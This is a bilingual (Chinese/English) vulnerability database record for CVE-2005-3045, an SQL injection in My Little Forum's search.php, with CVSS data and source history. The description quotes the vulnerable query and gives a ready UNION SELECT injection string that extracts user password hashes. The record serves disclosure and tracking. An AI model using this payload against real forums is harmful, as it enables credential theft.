CVE-2005-3045 (CNNVD-200509-235)
中文标题:
My Little Forum search.php远程SQL注入漏洞
英文标题:
SQL injection vulnerability in search.php in My Little Forum 1.5 and 1.6 beta allows remote attacker...
漏洞描述
中文描述:
my little forum是一套基于PHP和MySQL的互联网论坛应用程序。该应用程序采用传统树状视图展示信息,并支持图片上传、模板引擎、BB代码和表情符号等。 My Little Forum中存在SQL注入漏洞,成功利用这个漏洞的攻击者可以完全入侵基础数据库系统。 在search.php的第144行: ... $result = mysql_query("SELECT id, pid, tid, DATE_FORMAT(time + INTERVAL ". $time_difference." HOUR,'".$lang['time_format']."') AS Uhrzeit, DATE_FORMAT(time + INTERVAL ".$time_difference." HOUR, '".$lang['time_format']."') AS Datum, subject, name, email, hp, place, text, category FROM ".$forum_table." WHERE ".$search_string." ORDER BY tid DESC, time ASC LIMIT ".$ul.", " .$settings['search_results_per_page'], $connid); ... 然后在搜索页面,选择"phrase",然后键入: [whatever]%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw FROM forum_userdata where user_name='[username]' /* 由于没有过滤$searchstring变量,如果关闭了magic quote的话,就可以得到任何管理员/用户口令哈希。 1.6beta版也受漏洞影响: ... $result = mysql_query("SELECT id, pid, tid, UNIX_TIMESTAMP(time + INTERVAL \ ".$time_difference." HOUR) AS Uhrzeit, subject, name, email, hp, place, text, \ category FROM ".$db_settings['forum_table']." WHERE ".$search_string." ORDER BY tid \ DESC, time ASC LIMIT ".$ul.", ".$settings['search_results_per_page'], $connid); ... 在注入字符串中删除语句,可得到同样的结果 [whatever]%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw FROM forum_userdata where user_name='[username]' /*
英文描述:
SQL injection vulnerability in search.php in My Little Forum 1.5 and 1.6 beta allows remote attackers to execute arbitrary SQL commands via the phrase field.
CWE类型:
标签:
受影响产品
| 厂商 | 产品 | 版本 | 版本范围 | 平台 | CPE |
|---|---|---|---|---|---|
| my_little_homepage | my_little_forum | 1.3 | - | - |
cpe:2.3:a:my_little_homepage:my_little_forum:1.3:*:*:*:*:*:*:*
|
| my_little_homepage | my_little_forum | 1.5 | - | - |
cpe:2.3:a:my_little_homepage:my_little_forum:1.5:*:*:*:*:*:*:*
|
解决方案
中文解决方案:
英文解决方案:
临时解决方案:
参考链接
cve.org
cve.org
cve.org
cve.org
exploitdb
exploitdb
cve.org
CVSS评分详情
AV:N/AC:L/Au:N/C:P/I:P/A:P
时间信息
利用信息
数据源详情
| 数据源 | 记录ID | 版本 | 提取时间 |
|---|---|---|---|
| CVE | cve_CVE-2005-3045 |
2025-11-11 15:17:36 | 2025-11-11 07:32:28 |
| NVD | nvd_CVE-2005-3045 |
2025-11-11 14:51:20 | 2025-11-11 07:41:14 |
| CNNVD | cnnvd_CNNVD-200509-235 |
2025-11-11 15:08:48 | 2025-11-11 07:49:00 |
| EXPLOITDB | exploitdb_EDB-1225 |
2025-11-11 15:05:38 | 2025-11-11 08:04:22 |
版本与语言
安全公告
变更历史
查看详细变更
- references_count: 4 -> 7
- tags_count: 0 -> 4
- data_sources: ['cnnvd', 'cve', 'nvd'] -> ['cnnvd', 'cve', 'exploitdb', 'nvd']
查看详细变更
- vulnerability_type: 未提取 -> SQL注入
- cnnvd_id: 未提取 -> CNNVD-200509-235
- data_sources: ['cve', 'nvd'] -> ['cnnvd', 'cve', 'nvd']
查看详细变更
- severity: SeverityLevel.MEDIUM -> SeverityLevel.HIGH
- cvss_score: 未提取 -> 7.5
- cvss_vector: NOT_EXTRACTED -> AV:N/AC:L/Au:N/C:P/I:P/A:P
- cvss_version: NOT_EXTRACTED -> 2.0
- affected_products_count: 0 -> 2
- data_sources: ['cve'] -> ['cve', 'nvd']